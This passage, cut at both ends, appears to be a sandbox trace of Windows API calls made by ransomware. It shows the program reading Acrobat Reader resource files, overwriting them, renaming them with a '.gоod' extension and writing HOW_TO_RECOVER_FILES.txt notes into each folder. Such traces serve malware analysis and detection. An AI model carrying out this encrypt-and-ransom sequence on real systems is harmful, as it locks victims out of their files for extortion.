DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.191] GetFileType (hFile=0x828) returned 0x1 [0239.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.191] GetFileType (hFile=0x828) returned 0x1 [0239.191] WriteFile (in: hFile=0x828, lpBuffer=0x37c9298*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x37c9298*, lpNumberOfBytesWritten=0x203eb168*=0x230, lpOverlapped=0x0) returned 1 [0239.192] CloseHandle (hObject=0x828) returned 1 [0239.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png", lpFilePart=0x0) returned 0x93 [0239.192] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod", lpFilePart=0x0) returned 0x98 [0239.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0239.192] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8ac9063f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x230)) returned 1 [0239.193] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0239.193] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\rhp_world_icon_hover_2x.png.gоod")) returned 1 [0239.193] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", lpFilePart=0x0) returned 0x83 [0239.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0239.194] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png"), fInfoLevelId=0x0, lpFileInformation=0x37ca700 | out: lpFileInformation=0x37ca700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266)) returned 1 [0239.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0239.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", lpFilePart=0x0) returned 0x83 [0239.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0239.194] GetFileType (hFile=0x828) returned 0x1 [0239.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.194] GetFileType (hFile=0x828) returned 0x1 [0239.194] GetFileSize (in: hFile=0x828, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x266 [0239.194] ReadFile (in: hFile=0x828, lpBuffer=0x37cacf0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x37cacf0*, lpNumberOfBytesRead=0x203eb258*=0x266, lpOverlapped=0x0) returned 1 [0239.195] CloseHandle (hObject=0x828) returned 1 [0239.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", lpFilePart=0x0) returned 0x83 [0239.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.431] GetFileType (hFile=0x82c) returned 0x1 [0239.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.431] GetFileType (hFile=0x82c) returned 0x1 [0239.432] WriteFile (in: hFile=0x82c, lpBuffer=0x37defb0*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x37defb0*, lpNumberOfBytesWritten=0x203eb168*=0x270, lpOverlapped=0x0) returned 1 [0239.432] CloseHandle (hObject=0x82c) returned 1 [0239.432] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png", lpFilePart=0x0) returned 0x83 [0239.433] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.gоod", lpFilePart=0x0) returned 0x88 [0239.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0239.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8aecc9bb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x270)) returned 1 [0239.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0239.433] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning.png.gоod")) returned 1 [0239.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", lpFilePart=0x0) returned 0x86 [0239.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0239.435] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x37e03b8 | out: lpFileInformation=0x37e03b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x517)) returned 1 [0239.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0239.435] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", lpFilePart=0x0) returned 0x86 [0239.435] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0239.435] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0239.435] GetFileType (hFile=0x82c) returned 0x1 [0239.435] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0239.435] GetFileType (hFile=0x82c) returned 0x1 [0239.435] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x203eb328 | out: lpFileSizeHigh=0x203eb328*=0x0) returned 0x517 [0239.435] ReadFile (in: hFile=0x82c, lpBuffer=0x37e0c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb258, lpOverlapped=0x0 | out: lpBuffer=0x37e0c78*, lpNumberOfBytesRead=0x203eb258*=0x517, lpOverlapped=0x0) returned 1 [0239.437] CloseHandle (hObject=0x82c) returned 1 [0240.173] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203eac60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", lpFilePart=0x0) returned 0x86 [0240.173] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb180) returned 1 [0240.173] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.175] GetFileType (hFile=0x860) returned 0x1 [0240.175] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb0f0) returned 1 [0240.175] GetFileType (hFile=0x860) returned 0x1 [0240.175] WriteFile (in: hFile=0x860, lpBuffer=0x3a8c0a0*, nNumberOfBytesToWrite=0x520, lpNumberOfBytesWritten=0x203eb168, lpOverlapped=0x0 | out: lpBuffer=0x3a8c0a0*, lpNumberOfBytesWritten=0x203eb168*=0x520, lpOverlapped=0x0) returned 1 [0240.176] CloseHandle (hObject=0x860) returned 1 [0240.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png", lpFilePart=0x0) returned 0x86 [0240.176] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.gоod", lpFilePart=0x0) returned 0x8b [0240.176] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0240.176] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8b5dd439, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x520)) returned 1 [0240.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0240.176] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\warning_2x.png.gоod")) returned 1 [0240.177] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0240.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0240.177] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\dark\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.177] GetFileType (hFile=0x860) returned 0x1 [0240.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0240.178] GetFileType (hFile=0x860) returned 0x1 [0240.178] WriteFile (in: hFile=0x860, lpBuffer=0x3a8f9b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x3a8f9b0*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0240.179] CloseHandle (hObject=0x860) returned 1 [0240.179] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8b [0240.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebec0) returned 1 [0240.180] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\themes\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\themes\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.180] GetFileType (hFile=0x860) returned 0x1 [0240.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebe30) returned 1 [0240.180] GetFileType (hFile=0x860) returned 0x1 [0240.181] WriteFile (in: hFile=0x860, lpBuffer=0x3a93328*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ebf88, lpOverlapped=0x0 | out: lpBuffer=0x3a93328*, lpNumberOfBytesWritten=0x203ebf88*=0x5d0, lpOverlapped=0x0) returned 1 [0240.182] CloseHandle (hObject=0x860) returned 1 [0240.182] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203ec3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x84 [0240.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec8f0) returned 1 [0240.182] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\images\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\images\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0240.183] GetFileType (hFile=0x860) returned 0x1 [0240.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec860) returned 1 [0240.183] GetFileType (hFile=0x860) returned 0x1 [0240.184] WriteFile (in: hFile=0x860, lpBuffer=0x3a96c90*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203ec9b8, lpOverlapped=0x0 | out: lpBuffer=0x3a96c90*, lpNumberOfBytesWritten=0x203ec9b8*=0x5d0, lpOverlapped=0x0) returned 1 [0240.185] CloseHandle (hObject=0x860) returned 1 [0240.185] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0240.185] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js", nBufferLength=0x105, lpBuffer=0x203ec420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js", lpFilePart=0x0) returned 0x67 [0240.185] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\*", lpFindFileData=0x203ec6a0 | out: lpFindFileData=0x203ec6a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0240.185] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.185] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0240.186] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0240.186] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x203ec660 | out: lpFindFileData=0x203ec660*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0240.186] FindClose (in: hFindFile=0x134a7a0 | out: hFindFile=0x134a7a0) returned 1 [0240.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec8c0) returned 1 [0240.186] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ec880) returned 1 [0240.186] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ec980) returned 1 [0240.186] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 